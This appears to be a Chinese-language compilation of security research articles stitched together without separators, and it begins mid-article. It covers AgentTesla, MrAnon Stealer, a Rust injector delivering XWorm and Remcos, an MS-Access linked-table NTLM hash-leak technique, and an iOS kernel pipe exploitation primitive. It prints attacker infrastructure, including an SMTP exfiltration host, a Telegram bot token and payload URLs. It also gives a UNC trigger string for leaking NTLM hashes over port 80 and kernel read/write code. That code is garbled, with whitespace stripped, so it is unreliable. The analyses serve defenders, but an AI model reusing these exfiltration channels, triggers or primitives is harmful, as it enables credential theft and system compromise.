AgentTesla從中竊取憑據的Web瀏覽器信息

它從受害者設備上安裝的指定軟件中竊取保存的憑據,包括網絡瀏覽器、電子郵件客戶端、FTP客戶端等。

根據其特點,受影響的軟件可分為以下幾類:

Web瀏覽器:

Opera瀏覽器、Yandex瀏覽器、Iridium瀏覽器、Chromium瀏覽器、7Star瀏覽器、Torch瀏覽器、Cool Novo瀏覽器、Kometa瀏覽器、Amigo瀏覽器、Brave瀏覽器、CentBrowser瀏覽器、Chedot瀏覽器、Orbitum瀏覽器、Sputnik瀏覽器、Comodo Dragon瀏覽器、Vivaldi瀏覽器、Citrio瀏覽器、360瀏覽器、Uran瀏覽器、Liebao瀏覽器、Elements瀏覽器、Epic Privacy瀏覽器、Coccoc瀏覽器、Sleipnir 6瀏覽器、QIP Surf瀏覽器、Coowon瀏覽器、Chrome瀏覽器、Flo瀏覽器ck瀏覽器,QQ瀏覽器,Safari、UC瀏覽器、Falkon瀏覽器

電子郵件客戶端:

Outlook,ClawsMail,IncrediMail,FoxMail,eM客戶端,Opera Mail,PocoMail,Windows Mail應用程序,Mailbird,The Bat!Becky!Eudora

FTP客戶端:

Flash FXP, WS_FTP, FTPGetter, SmartFTP, FTP Navigator, FileZilla, CoreFTP, FtpCommander, WinSCP

VPN客戶端:

NordVPN,Private Internet Access,OpenVPN

IM客戶端:

Discord,Trillian,Psi/Psi+

其他:

Mysql Workbench,\Microsoft\Credentials\,Internet Download Manager,JDownloader

Keylogging攻擊AgentTesla調用API SetWindowsHookEx()來設置鍵盤掛鉤,以監視低級別的輸入事件。 Keylogging攻擊是指攻擊者跟踪鍵盤、鼠標活動,獲得用戶輸入的信息,包括帳號、口令等。

13.png

設置掛鉤程序以記錄鍵盤活動

在上圖中,當受害者在他們的設備上打字時,就會調用回調掛鉤進程“this.EiqpViCm9()”。 AgentTesla將程序標題、時間和受害者的鍵盤輸入內容不時地記錄到一個本地文件“%Temp%/log.tmp”中。

它還有一個每隔20分鐘由計時器調用的方法,用於檢查“log.tmp”文件並通過SMTP傳輸其內容。

錄製屏幕截圖在核心模塊中,AgentTesla設置了另一個定時器,每間隔20分鐘調用另一個Timer函數。該Timer函數檢查設備上的任何活動,並確定是否記錄並傳輸屏幕截圖。為此,它調用API GetLastInputInfo()來檢索系統接收到的最後一個輸入事件的時間,然後將其與當前時間進行比較。

下面的偽代碼片段演示了AgentTesla如何捕獲屏幕截圖。

加图.png

“memoryStream”變量將截圖保存為jpeg格式。

通過SMTP傳輸敏感數據AgentTesla提供了多種傳輸被盜數據的方式,例如使用HTTP POST方法或通過SMTP作為電子郵件正文。該變體選擇通過電子郵件SMTP協議傳輸從受害者設備收集的數據。變體中的SMTP服務器地址和端口硬編碼為“mail.daymon.cc”和587。

下圖顯示了將要調用smtpClient.Send()函數來傳輸憑據數據的惡意軟件,電子郵件主題以關鍵字“PW_”開頭,後跟憑據數據的用戶名/計算機名。

14.png

在電子郵件中傳輸被盜憑據

電子郵件正文采用HTML格式,在瀏覽器中將電子郵件正文解析為HTML時,如下圖所示。

15.png

被盜憑據示例

16.png

鍵盤記錄程序收集的信息示例

電子郵件的主題是“KL_{User name/Computer name}” ,其中KL是鍵盤記錄程序的縮寫,電子郵件正文是收集的鍵盤記錄數據。如下圖所示,電子郵件正文包括在名為“Untitled-Notepad”的記事本中輸入的鍵擊記錄。

捕獲的屏幕截圖保存在一個變量中,並在傳輸給攻擊者時作為電子郵件附件添加。下圖顯示了它將屏幕截圖數據作為附件添加到電子郵件中。截圖的電子郵件主題格式是“SC_{User name/Computer name}”,電子郵件正文只是關於受害者設備的基本信息。

17.png

傳輸受害者截圖的示例

總結惡意活動流程圖大致如下。

18.png

該分析表明,釣魚電子郵件附帶的惡意Excel文檔利用老化的安全漏洞執行下載AgentTesla的shellcode。它在Resource部分中對相關模塊進行加密和編碼,以保護其核心模塊不被分析。

然後我解釋了這種變體是如何在受害者的設備上建立持久性的。我還展示了AgentTesla能夠從受感染的設備中竊取的軟件和數據,包括憑據、密鑰記錄數據和活動屏幕截圖。

最後,我提供了幾個例子,說明這種AgentTesla從分析環境中獲得的敏感數據類型,以及這些被盜的敏感數據是如何通過SMTP協議通過電子郵件傳輸給攻擊者的。

FortiGuard實驗室最近發現了一個電子郵件釣魚活動,利用欺騙性的預訂信息引誘受害者點擊惡意PDF文件。 PDF下載了一個用PowerGUI創建的.NET可執行文件,然後運行PowerShell腳本來獲取最終的惡意軟件,稱為MrAnon Stealer。

該惡意軟件是一個基於Python的信息竊取程序,使用cx Freeze壓縮以逃避檢測。 MrAnon Stealer竊取受害者的憑據、系統信息、瀏覽器會話和加密貨幣擴展,攻擊流程如下所示。

1.png

攻擊流

下載網址主要在德國被查詢,這表明它是攻擊的主要目標。這個URL的查詢數量在2023年11月顯著上升,該活動在該月異常活躍和激進。在本文中,我們將詳細介紹該惡意軟件在每個階段的行為。

2.png

初始感染載體:Booking.pdf

攻擊者偽裝成一家希望預訂酒店房間的公司,發送主題為“12月房間可用性查詢”的網絡釣魚電子郵件。該網站包含假日期間虛假的酒店預訂信息,附加的惡意PDF文件有一個下載鏈接隱藏在對像中。其解碼後的數據如下:

3.png

網絡釣魚郵件

4.png

惡意PDF文件

.NET可執行文件:adobe.exe通過“Loader”類中的字符串,可以發現惡意軟件使用了PowerShell腳本編輯器,該編輯器將PowerShell腳本轉換為微軟可執行文件。

5.png

反編譯的Exec()函數

在檢查下圖所示的.NET可執行文件後,我們發現它利用ScriptRunner.dll提取“Scripts.zip”以獲得一個PowerShell腳本。解壓後的文件存放在以下位置:

“%USERPROFILE%\AppData\Local\Temp\QuestSoftware\PowerGUI”

這個.NETMicrosoft Windows可執行文件的唯一任務是解壓縮名為“down2”的嵌入式腳本,並使用PowerShell.exe執行它。打包的文件和PowerShell配置位於文件的資源部分,如下圖所示。

6.png

加載PowerShell腳本的ScriptRunner.dll

7.png

惡意軟件的資源部分

PowerShell腳本:down2.ps1該腳本啟動Windows窗體的加載並配置其設置,包括窗體、標籤和進度條。此外,它在後續腳本的執行中定義了文本,以消除用戶的疑慮。

8.png

Create Windows表單

在'Form Load event'部分中,腳本從相同的域“anonbin[.]ir”中檢索有效負載,並解壓縮臨時文件夾中的文件。然後,它在zip歸檔中定位執行文件,並使用“Start-Process”執行。在這種狀態下,會顯示一個名為“File Not Supported”的窗口,並伴有一條指示“Not Run: python.exe.”的狀態消息。這種欺騙性的演示旨在誤導用戶,使其相信惡意軟件尚未成功執行。下圖顯示了惡意軟件執行過程中的窗口和進度條。

9.png

Form Load事件部分

10.png

執行python.exe期間顯示的進度窗口

Cx_Freeze打包文件:python.exe壓縮文件“Ads-Pro-V6-Free-Trail (1).zip”包含多個文件。下圖顯示了解壓文件夾的內容。在此文件夾中,兩個DLL文件作為乾淨的組件,以方便“Python .exe”進程加載額外的Python代碼。下圖展示了“Python .exe”中的WinMain函數,清楚地表明這不是一個合法的Python可執行文件。

11.png

Ads-Pro-V6-Free-Trail (1).zip中的文件

12.png

python.exe中的WinMain

跟踪初始調用可以發現執行文件源自cx_Freeze工具。然後,腳本搜索目錄“\lib\library.zip”,並使用“PyObject_CallObject”調用惡意Python代碼。

13.png

檢查目錄\\lib\\library.zip

14.png

調用Python主代碼

下圖顯示了“library.zip”中的文件。值得注意的是,與合法文件相比,“cstgversion_main__.pyc”由於其獨特的創建時間而脫穎而出。此特定文件包含負責數據盜竊的主要函數。

15.png

library.zip中的文件

MrAnon Stealer首先,惡意軟件會驗證系統上是否存在以下進程,如果存在則會終止它們:

“ArmoryQt.exe”,“AtomicWallet.exe”,“brave.exe”,“bytecoin-gui.exe”,“chrome.exe”,“Coinomi.exe”,“Discord.exe”,“DiscordCanary.exe”,“Element.exe”,“Exodus.exe”,“firefox.exe”,“Guarda.exe”,“KeePassXC.exe”,“NordVPN.exe”,“OpenVPNCo nnect.exe”,“seamonkey.exe”,“Signal.exe”,“Telegram.exe”,“filezilla.exe”,“filezilla-server-gui.exe”,“keepassxc-proxy.exe”,“msedge.exe”,“nordvpn-service.exe”,“opera.exe”,“steam.exe”,“walletd.exe”,“waterfox.exe”,“yandex.exe”

然後使用“ImageGrab”抓取截圖,保存文件名為“Screenshot (Username ).png.”,此外,它還與“api.ipify.org”和“geolocation-db.com/jsonp”等合法網站建立連接,以檢索系統的IP地址、國家名稱和國家代碼。它還從下列來源收集資料:

瀏覽器數據:7Star、Amigoz、Bravez、Cent Browser、Chrome Canary、Epic Privacy Browser、Google Chrome、Iridium、Kometa、Microsoft Edge、Opera、Opera GX、Orbitum、Sputnik、Torch、Uran、Vivaldi、Yandex、Firefox、Pale Moon、SeaMonkey和Waterfox。

桌面錢包:Bytecoin Wallet, Guarda, Atomic Wallet, Coinomi Wallet, Bitcoin Armory和Exodus.

瀏覽器擴展:

17.jpg

即時通信:Discord, Discord Canary, Element, Signal, Telegram Desktop。

VPN客戶端:NordVPN、ProtonVPN和OpenVPN Connect。

Browser Wallet:

18.1.jpg

18.2.jpg

18.3.jpg

18.4.jpg

18.5.jpg

其他:FileZilla和FileZilla Server。

遊戲:Steam。

文件:它掃描這些目錄:Desktop, Documents, Downloads, Pictures, and grabs specific files with following extensions: “.7z,” “.bmp,” “.conf,” “.csv,” “.dat,” “.db,” “.doc,” “.jpeg,” “.jpg,” “.kdbx,” “.key,” “.odt,” “.ovpn,” “.pdf,” “.png,” “.rar,” “.rdp,” “.rtf,” “.sql,” “.tar,” “.txt,” “.wallet,” “.xls,” “.xlsx,” “.xml,” and “.zip.”

接下來,它壓縮被盜數據,用密碼保護數據,並將文件名指定為“Log(Username).zip”。壓縮後的文件將使用URL上傳到公共文件共享網站hxxps://store1[.]gofile[.]io/uploadFile。最後,它將下載鏈接和系統信息附加到一條消息中,該消息使用bot令牌6799784870:AAHEU6EUdnAjRcH8Qq0TCokNtVJSL06VmbU發送到攻擊者的Telegram頻道。

18.png

Telegram消息中的被盜數據

19.png

zip文件

MrAnon Stealer的支持通道如下圖所示。該支持渠道推廣其產品,提供增強的功能,並在“hxxp[:]//anoncrypter[.]com”上為所有相關工具提供購買頁面

20.png

MrAnon Stealer的telegram頻道

21.png

MrAnon Tools的網站

攻擊者在今年早些時候建立了網站“anonbin[.]ir”,如下圖所示,並下載了所有相關文件。經過調查,我們發現了7月份使用cx_Freeze的類似打包文件。這些文件始終以基於Python的竊取程序為特徵,由代碼中共享的“HYDRA”標識標識,如下圖所示。

該活動最初在7月和8月傳播Cstealer,但在10月和11月過渡到傳播MrAnon Stealer。這種模式表明了一種戰略方法,即繼續使用釣魚電子郵件來傳播各種基於Python的竊取程序。

22.png

hxxps[:]//anonbin[.]ir的主頁

23.png

七月份惡意軟件的標識

總結該惡意軟件使用PowerGUI和cx-Freeze工具創建一個複雜的過程,涉及.NET可執行文件和PowerShell腳本。攻擊者還使用虛假錯誤消息等技巧來隱藏攻擊活動,從特定域下載並提取文件,以運行有害的Python腳本。該腳本提取乾淨的DLL文件和名為“python.exe”的惡意軟件,用來掩蓋惡意有效負載MrAnon Stealer的加載。它從幾個應用程序中竊取數據和敏感信息,然後將竊取的數據壓縮並上傳到公共文件共享網站和攻擊者的Telegram頻道,用戶應小心網絡釣魚郵件和不清晰的PDF文件。

微信截图_20231111174838.png

10 月12 日,微軟宣布新一輪過渡計劃,棄用NTLM 身份認證方式,讓更多企業和用戶過渡到Kerberos。

Microsoft Access (Office套件的一部分)有一個“鏈接到遠程SQL Server表”的功能。攻擊者可能會濫用此功能,通過任意TCP端口(如端口80)自動將Windows用戶的NTLM令牌洩露給攻擊者控制的任何服務器。只要受害者打開.accdb或.mdb文件,就可以發起攻擊。事實上,更常見的Office文件類型(如.rtf)都可以以類似方式運行。這種技術允許攻擊者繞過現有的防火牆規則,這些規則旨在阻止由外部攻擊發起的NTLM信息竊取。

什麼是NTLM?針對它的常見攻擊有哪些? NTLM是NT LANManager的縮寫,這也說明了協議的來源。 NTLM是指telnet的一種驗證身份方式,即問詢/應答身份驗證協議,是Windows NT 早期版本的標準安全協議,是Microsoft在1993年引入的一種目前已被棄用的身份驗證協議。微軟在今年10月宣布,棄用NTLM 身份認證方式,讓更多企業和用戶過渡使用Kerberos,Kerberos 提供了更好的安全保證,並且比NTLM 更具可擴展性,現在成為Windows 中首選默認協議。

企業雖然可以關閉NTLM 身份認證,但那些硬連線(hardwired)的應用程序和服務可能會遇到問題,為此微軟引入了兩個身份驗證功能。

其一是Initial and Pass Through Authentication Using Kerberos(IAKerb),允許“沒有域控制器視線的客戶端通過有視線的服務器進行身份驗證”。

另一個是Kerberos 的本地密鑰分發中心(KDC),它增加了對本地賬戶的身份驗證支持。通過上述兩項功能的推進,Kerberos 將成為唯一的Windows 身份驗證協議。

以下是針對NTLM的三種最著名的攻擊。

1.暴力攻擊利用NTLM哈希函數規範中的固有漏洞,從存儲在服務器上的NTLM哈希中恢復原始密碼。

2.傳遞哈希攻擊濫用了NTLM哈希來挑戰/響應模型來證實客戶端的身份,使得使用哈希而不是普通密碼這一事實在本質上毫無意義。

3.中繼攻擊通常被稱為“中間人”攻擊,攻擊者攔截握手交易,在與服務器交談時假扮成客戶端,反之亦然,這樣就可以將他們的消息互相傳遞,直到會話被驗證的關鍵時刻,此時攻擊者切斷合法客戶端並代替他們進行對話。

上述攻擊的緩解措施出現在Kerberos中,Kerberos是麻省理工學院開發的一種身份驗證協議,比NTLM早了整整五年。

不過,對於任何想要保留NTLM服務器的用戶來說,微軟設計了一個過渡機制,簡單地阻止通過NTLM協議使用的端口(139和445)的所有組織出站流量,使上述攻擊更加難以執行,這樣攻擊者就不可能獲得對網絡的初始Access的口令。這種由外部攻擊發起的攻擊技術被稱為“強制身份驗證”。

不過這種權宜之計總是漏洞百出。在這篇文章中,我們提出了一種新的方法,可以繞過這些端口使緩解措施失效,即可以直接針對內部用戶進行NTLM攻擊。這種方法通過濫用MS-Access應用程序中稱為“Access鍊錶”的功能來實現。

MS-Access中的鍊錶在討論攻擊者如何濫用此功能之前,我們將首先解釋該功能在用於合法目的時是如何正常工作的。使用鍊錶,用戶可以連接到外部數據庫,例如遠程Microsoft SQL服務器,這種功能的優勢應該是不言而喻的,不過讓每個用戶在他們的本地設備上保留一個數據庫副本在很多時候並不是一個很好的解決方案,而且絕對不是長久的解決方案。要激活該功能,用戶可以點擊“外部數據”選項卡的“ODBC Database”按鈕,如下所示。我們以Office 2010為例,但這同樣適用於所有版本的Office。

1.png

點擊“ODBC Database”按鈕啟動連接到Microsoft Access 2010上的遠程SQL Server的引導

MS-Access建議使用另一種方法,用一次性下載遠程表,這樣就可以將結果視為本地表。為了實際使用鏈接功能並與遠程數據庫同步,用戶選擇了另一個選項,“通過創建鍊錶鏈接到數據源”。

2.png

MS-Access允許用戶在創建遠程數據庫的本地副本和完整的遠程鏈接之間進行選擇

然後,用戶在對話框中選擇“SQL Server”作為ODBC Database。

3.png

選擇ODBC Database類型的對話框

ODBC(OpenDatabaseConnectivity,開放數據庫互連)是微軟公司開放服務結構(WOSA,Windows Open Services Architecture)中有關數據庫的一個組成部分,它建立了一組規範,並提供了一組對數據庫訪問的標準API(應用程序編程接口)。

此時,用戶需要選擇使用遠程服務器進行身份驗證的方法,如下圖所示。

4.png

選擇SQL Server身份驗證方法的對話框

一般的用戶會根據服務器支持的身份驗證方法、公司安全策略以及他們個人認為方便的方式進行選擇。為了方便講解,我們會假設用戶選擇使用自己的Windows ID憑據進行身份驗證的選項。此外,典型的用戶可能會將遠程服務器的端口保留為默認值(1433),但是,出於為了方便講解,我們暫時假設用戶選擇不經常使用的端口,例如端口80。

畢竟,沒有什麼可以阻止SQL服務器監聽端口80,一個合法組織的SQL服務器可能不會這樣做,但是如果有人這樣做了,網絡也不會產生什麼異常。

5.png

選擇服務器的IP地址、端口和協議的對話框

假設遠程SQL服務器的身份驗證成功並且所選表存在,那麼在客戶機的“tables”列表中就會出現一個表示鍊錶的新條目。當用戶點擊此條目時,將建立到該遠程數據庫的連接,並且MS-Access客戶端嘗試使用用戶的Windows憑據與SQL服務器進行身份驗證。

6.png

在MS-Access的“tables”列表中顯示的鍊錶

濫用鍊錶在將該功能武器化並轉化為NTLM中繼攻擊之前,攻擊者可以設置一個他們控制的服務器,監聽端口80,並將其IP地址放在上面的“服務器別名”字段中。然後,他們可以將數據庫文件(包括鍊錶)發送給受害者。如果受害者打開文件並點擊表,受害客戶端CV將聯繫攻擊者控制的服務器SA並嘗試進行身份驗證。然後,SA處於執行攻擊的最佳位置,它可以立即啟動同一組織中目標NTLM服務器ST的身份驗證過程,接收挑戰,並將該挑戰作為攻擊者控制的CV的一部分發送到CVSA身份驗證過程,接收有效響應,然後將該響應傳遞給SA來通過ST的成功身份驗證。身份驗證是使用TDS中封裝的NTLMSSP來完成的。讓受害者打開文件並點擊數據庫是一件很危險的事情。關於“點擊數據庫”部分,從技術上講,MS Access支持宏,因此攻擊者理論上可以創建一個自動打開鏈接表的宏,並將其設置為在打開文件時自動執行,這是通過將宏命名為AutoExec來實現的。當然,這是一條死胡同,因為隨後會提示用戶啟用宏,就在去年,微軟計劃推出了一項針對這種情況的新安全功能。這個功能不適用於簡單的MS Access宏。這些與成熟的VBA不同,它們的功能較弱,處理起來也不那麼謹慎。即使是2010年推出的可證明有效的“受保護視圖(protected view)”功能,該功能會提示用戶文檔“可能不安全”並提示用戶“啟用宏”。

7.png

添加一個打開鏈接表的MicrosoftAccess宏,並將其保存為“AutoExec”以在打開文件時執行

OLÉ, OLÉ, OLÉMicrosoft Access在Windows上註冊為“OLE鏈接”服務器。例如,可以在Word文檔中嵌入圖像,當文檔被打開時,MS-Paint將處理圖像並發回信息,從而使MS-Word可以內聯顯示圖像。

同樣,也可以將MS word文檔中的.accdb文件鏈接為OLE對象,該對象將自動下載(也可以通過端口80/tcp),然後由MS Access處理。像下面這樣簡單的字符串就會觸發這個行為:

\\\\111.111.111.111@80\\test.accdb

總的來說,整個攻擊鍊是這樣的:

8.png

濫用鍊錶

概念驗證為了方便研究,研究人員建立一個展示這種攻擊的概念驗證環境,禁用服務器的第一個響應數據包(PRE-LOGIN消息響應)中的加密,可以使研究的工作變得更容易,因為不需要處理TDS TLS加密。

以下是模擬受害者和虛假SQL服務器活動的過程,受害者位於典型的端口阻塞環境中(阻塞傳出的139/tcp和445/tcp流量,但允許80/tcp),而攻擊者控制的服務器位於公共雲中。受害者在試圖通過端口80上的服務器進行身份驗證時洩露了本地net-NTLMv2哈希值。

9.png

流量捕獲(PCAP)顯示了一次成功的攻擊,它使受害者通過端口80洩露了本地NTLM哈希

防禦和緩解措施研究人員已經成功地在所有可用的默認Windows + Office環境中復制了攻擊,包括最新的Windows 10/11 和Office 2021環境。

建議你可以考慮禁用MS-Access中的宏,或者如果MS-Access對你的Office套件安裝不是必需的,則將其從系統中完全刪除。

另外,請不要打開未經請求的附件。

受影響平台:Windows

受影響方:任何組織

影響:控制受害者的設備,收集敏感信息

嚴重性級別:緊急

FortiGuard實驗室最近檢測到一種用Rust編寫的新註入器,它可以注入shellcode並將XWorm引入受害者的環境。雖然Rust在惡意軟件開發中相對不常見,但自2019年以來,已經有幾個活動採用了這種語言,包括Buer loader、Hive和RansomExx。 FortiGuard實驗室的分析還顯示,2023年5月期間注入器活動顯著增加,其中shellcode可以使用Base64編碼,並可以從AES、RC4或LZMA等加密算法中進行選擇,以逃避防病毒檢測。

通過檢查編碼算法和API名稱,研究人員在攻擊者工具“Freeze.rs”中確定了這種新型注射器的來源,該工具旨在創建能夠繞過EDR安全控制的有效負載。此外,在分析過程中,研究人員發現SYK Crypter通常用於通過社區聊天Discord傳播惡意軟件家族的工具,該工具涉及加載Remcos,這是一種複雜的遠程訪問木馬(RAT),可用於控制和監控運行Windows的設備。 SYK Crypter出現於2022年,已被各種惡意軟件家族使用,包括AsyncRAT、jnrat、QuasarRAT、WarzoneRAT和NanoCore RAT。

FortiGuard實驗室在7月13日觀察到網絡釣魚電子郵件活動,該活動使用惡意PDF文件啟動了攻擊鏈。此文件重定向到HTML文件,並利用“search-ms”協議訪問遠程服務器上的LNK文件。點擊LNK文件後,PowerShell腳本執行Freeze.rs和SYK Crypter準備進一步進攻。最後,加載XWorm和Remcos,並與C2服務器建立通信。

在本文中,我們將深入研究用於傳播Rust-lang注入器SYK Crypter的初始攻擊方法,並進一步探討攻擊的後續階段。

1.png

初始訪問

如下圖所示,釣魚電子郵件偽裝成發送給多家公司的緊急訂單補充請求,以欺騙收件人。它還在PDF文件中使用模糊圖像來引誘受害者點擊隱藏的按鈕。所附的PDF文件如下圖所示。

2.png

網絡釣魚郵件

3.png

PDF文件

惡意URL隱藏在流對象(/ObjStm)中,使其難以被檢測到。然而,通過pdf解析器提取URL顯示它位於流對象1中的對象14中,如下圖所示。

4.png

流對像中的URL

點擊該文件後,受害者連接到URL https://www[.]cttuae[.]com/ems/page[.]html,這是一個偽裝成提供旅遊服務的網站。攻擊者在7月12日上傳了一個惡意HTML文件到“ems”路徑,源代碼如下圖所示。

5.png

HTML頁面“page. HTML”

攻擊者不是直接下載惡意軟件,而是採用更複雜的方法,利用“search-ms”協議觸發搜索結果。具體來說,他們在由DriveHQ提供的遠程雲存儲服務器上搜索“ORDER_SPEC0723”。值得注意的是,文件“ORDER_PSEC0723”偽裝成PDF文件圖標,但仔細檢查後發現,它是在同一文件夾中執行PowerShell腳本的LNK文件,如下圖所示。這種策略允許攻擊者謹慎地啟動他們的惡意活動。

6.png

搜索結果和LNK文件“ORDER_PSEC01723”

然後執行PowerShell腳本“pf.ps1”,首先使用“regsvr32”啟動用Rust編寫的注入器“doc.dll”。它打開誘餌PDF文件“T.PDF”並執行“AA.exe”。最後,使用“Stop-Process”關閉所有文件資源管理器窗口。下圖中的PDF文件“T.PDF”看起來很乾淨,包含清晰的文本,旨在分散受害者對其他惡意行為的注意力。以下部分將詳細介紹“doc.dll”和“AA.exe”。

7.png

PowerShell腳本“pf.ps1”

8.png

誘餌文件“T.pdf”

Rust注入器:doc.dll下圖顯示了基於字符串部分分析,注入器是用Rust編程語言編寫的。

9.png

字符串部分

注入過程首先使用CreateProcessA創建一個“notepad.exe”進程。 shellcode隨後通過Base64解碼和LZMA解壓縮獲得。然後,注入器直接使用NTAPI庫的函數注入shellcode。以上便是“Freeze.rs”的整個攻擊過程。該網站於今年5月發布,顯示出人們非常喜歡這一新工具,源代碼和注入器的彙編代碼如下圖所示。

10.png

Shellcode注入

在過去的一個月裡,研究人員編譯了一系列不同的Rust注入器,包括帶有lzma壓縮的shellcode的DLL文件,帶有rc4加密的shellcode的DLL文件,以及包含rc4加密的shellcode的EXE文件。這些注入器中的shellcode數據都使用Base64編碼,有趣的是,文件類型和加密算法似乎是程序中可選擇的選項。這個觀察結果與“Freeze.rs”存儲庫中的選項一致,這表明它們之間存在某種關係。選擇加密方法和文件類型的靈活性增加了這些注入器的複雜性,進一步複雜化了安全研究人員的檢測和分析。

11.png

“Freeze.rs”選項

當使用RC4算法變體時,密鑰被擴展到256字節,並用於偽隨機生成算法(PRGA)。該注入器變體的相應源代碼和組件如下圖所示。經過比較,很明顯,此攻擊者使用“Freeze.rs”繞過EDR並利用掛起的進程。解密後的shellcode可以在地址0x650000找到,如下圖所示。

12.png

RC4解密

13.png

解密後的shellcode

解密的shellcode應用AMSI繞過和WDLP繞過技術,隨後執行.NET有效負載。一旦執行,NET程序集就可以從內存地址0x1AAB6E70轉儲,如下圖所示,從而可以作為獨立的.NET可執行文件進行分析。

14.png

解密的.Net有效負載

在此過程中發現的.NET有效負載被稱為XWorm,根據分析,這是一種在地下論壇交易的RAT工具。 XWorm配備了典型的RAT功能,包括收集設備信息、捕捉屏幕截圖、記錄擊鍵以及建立對受攻擊設備的控制。在該示例中,XWorm有效負載版本是v3.1,C2服務器信息仍然隱藏在“pastebin.com”網站上,如下圖所示。

15.png

XWorm V3.1和pastebin.com上的C2服務器IP地址

MSIL下載程序:AA.exe執行文件“AA.exe”作為MSIL下載程序運行,並嵌入了兩個鏈接:

“95[.]214[.]27[.]17/storage/NAR”和“plunder[.]ddnsguru[.]com/storage/NAR”。

16.png

MSIL下載程序的鏈接

下載完成後,“AA.exe”使用文件名“760”作為解碼密鑰,並對下載數據中的每個字節執行減法運算。解碼的數據是一個名為“SYKSBIKO”的資源的SYK Crypter,其中包含加密的有效負載。 DLL文件進行檢查以確保環境未處於調試模式,然後通過使用密鑰“gOhgyzyDebuggerDisplayAttributei”的RC4解密來繼續處理資源數據。它調用一個小的.NET代碼“Zlas1”以進行進一步的壓縮。

17.png

調用.Net代碼進行解壓縮

為了逃避檢測,SYK Crypter對其執行流中使用的字符串進行編碼,解碼函數如下圖所示。此外,它還使用了“GetProcessesByName”“Directory.Exists”和“File.Exists”等函數來評估安全設備在受攻擊環境中是否存在。用於檢查的列表如下圖所示。

18.png

字符串轉換器函數

19.png

安全設備檢查列表

為了持久性攻擊,惡意軟件將“.exe”擴展名附加到文件“AA”,並將MSIL下載程序複製到“Startup”文件夾。它還在“HCKU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows”中添加了一個註冊表項“Run”,相應的代碼如下圖所示。

20.png

自我複製到“Startup”

21.png

添加註冊表

在對資源數據“SYKSBIKO.Properties.Resources.resources‎‎.a,”進行RC4解密和壓縮之後,將獲得執行文件,如下圖所示。然後,SYK-Crypter加載一個Base64.NET代碼並調用其“GetDelegateForFunctionPointer”函數,在同一方法中從kernel32或ntdll創建對所有API的委託。下圖顯示了一個加載“kernel32!WriteProcessMemory”的片段,隨後解密的有效負載被注入到進程中。

22.png

從SYK Crypter解密資源數據

23.png

調用“GetDelegateForFunctionPointer”來獲取API

注入的有效負載是Remcos RAT,最初是作為遠程計算機控制的合法工具設計的。然而,自2016年發布以來,黑客利用它來控制受害者的設備。該配置可以通過RC4解密“SETTINGS”資源獲得,如下圖所示。有趣的是,C2服務器的IP地址與XWorm有效負載的IP地址保持一致。

24.png

“SETTINGS”中的加密配置

25.png

解密的配置

總結XWorm和Remcos的結合創建了一個具有一系列惡意功能的強大木馬。 C2服務器的流量顯示,歐洲和北美是此惡意活動的主要目標。作為攻擊策略的一部分,網絡釣魚活動利用PDF流對象並利用'search-ms'功能來誘導毫無戒心的受害者。為了進一步逃避檢測,攻擊者熟練地使用Rust注入器'Freeze.rs'和MSIL文件“SYK Crypter”。在本文中,我們深入研究了通過網絡釣魚郵件所採用的攻擊方法,並檢查了欺騙受害者所涉及的各種文件。此外,我們還提供了Freeze功能的全面概述。詳細介紹SYK Crypter的工作原理。

免責聲明:所有的技術解釋皆基於本人現有的知識,由於本人水平有限,所以錯誤在所難免。同時,文中的概念可能被有意或無意地過度簡化了。

簡介在Corellium網站上通過已得到修復的漏洞練習exploit的開發技巧的過程中,我開始思考如何利用Corellium的管理程序的“魔法”特性來練習通用的漏洞利用技術——即使不借助於特定的漏洞。之所以會有這個想法,是因為我受到了Brandon Azad下面這段話的啟發:

“其次,我希望能夠在不借助於某個或多個特定漏洞的情況下來評估漏洞利用技術,以確定該技術的可行性(即,沒有失敗案例);因為通過不可靠的漏洞來測試利用技術的話,一旦發生失敗,我們很難確定問題出在利用技術本身上面,還是因為漏洞不穩定所致。”

在瀏覽器領域,一個典型的漏洞利用策略是使用兩個ArrayBuffer對象,並將一個對象的後備存儲指針指向另一個對象,這樣arrayBuffer1就可以隨意且安全地修改arrayBuffer2-backing_store_pointer了,比如針對Tesla瀏覽器的漏洞利用代碼就採用了這種方式:

1.png

上圖中最重要的部分是綠色方框部分,對應arrayBuffer1,以及它的後備存儲指針,其中存放的是arrayBuffer2的地址(見右邊獨立的灰色方框)。這樣的話,通過對arrayBuffer1的索引,就可以修改arrayBuffer2內的相應字段了,特別是arrayBuffer2-backing_store_pointer字段。之後,通過索引arrayBuffer2,我們就能讀/寫所需的任意地址了。

實際上,含有BSD組件的iOS內核中有一個明顯的等價物:UNIX管道。並且,管道API的用法與典型的UNIX文件用法非常相似,但前者的內容並沒有保存到磁盤上的文件中,而是以“管道緩衝區”的形式存儲在內核的地址空間,這是一個單獨的內存空間(默認為512字節,但可以通過向管道寫入更多的數據來進行擴展)。因此,通過控制管道緩衝區的指針,就可以用來創建任意的讀/寫原語,具體方式與控制Javascript引擎中ArrayBuffer的後備存儲指針的方式基本相同。

例如,下面的代碼將創建一個管道,它被表示為一對文件描述符(一個是“read end”和一個是“write end”),然後,寫入32字節的字符A:

intpipe_pairs[2]={0};

if(pipe(pipe_pairs)){

fprintf(stderr,'[!]Failedtocreatepipe:%s\n',strerror(errno));

exit(-1);

}

printf('Pipereadendfd:%d\n',pipe_pairs[0]);

printf('Pipewriteendfd:%d\n',pipe_pairs[1]);

charpipe_buf_contents[32];

memset(pipe_buf_contents,0x41,sizeof(pipe_buf_contents));

write(pipe_pairs[1],pipe_buf_contents,sizeof(pipe_buf_contents));

charbuf[33]={0};

read(pipe_pairs[0],buf,32);

printf('Readfrompipe:%s\n',buf);這至少會分配兩段內核空間:一段用於struct管道,一段用於管道緩衝區本身。要構建該技術,我們首先需要一個模擬漏洞。

Corellium就是魔法師Corellium有一個非常特殊的功能,它允許用戶態代碼任意讀/寫內核內存。雖然該特性是完全可靠的,但為了便於討論,我們將假裝有失敗的可能性,從而導致內核崩潰。因此,管道技術的全部意義在於將不可靠的原語“提升”為更好的原語。我們的示例原語將是任意讀取0x20字節(隨機選擇)以及任意寫入64位值:

/*Simulatea0x20bytereadfromanarbitrarykerneladdress,representativeofaprimitivefromabug.

*Callerisresponsibleforfreeingthebuffer.

*/

staticchar*corellium_read(uint64_tkaddr_to_read){

char*leak=calloc(1,128);

unicopy(UNICOPY_DST_USER|UNICOPY_SRC_KERN,(uintptr_t)leak,kaddr_to_read,0x20);

returnleak;

}

/*Simulatea64-bitarbitrarywrite*/

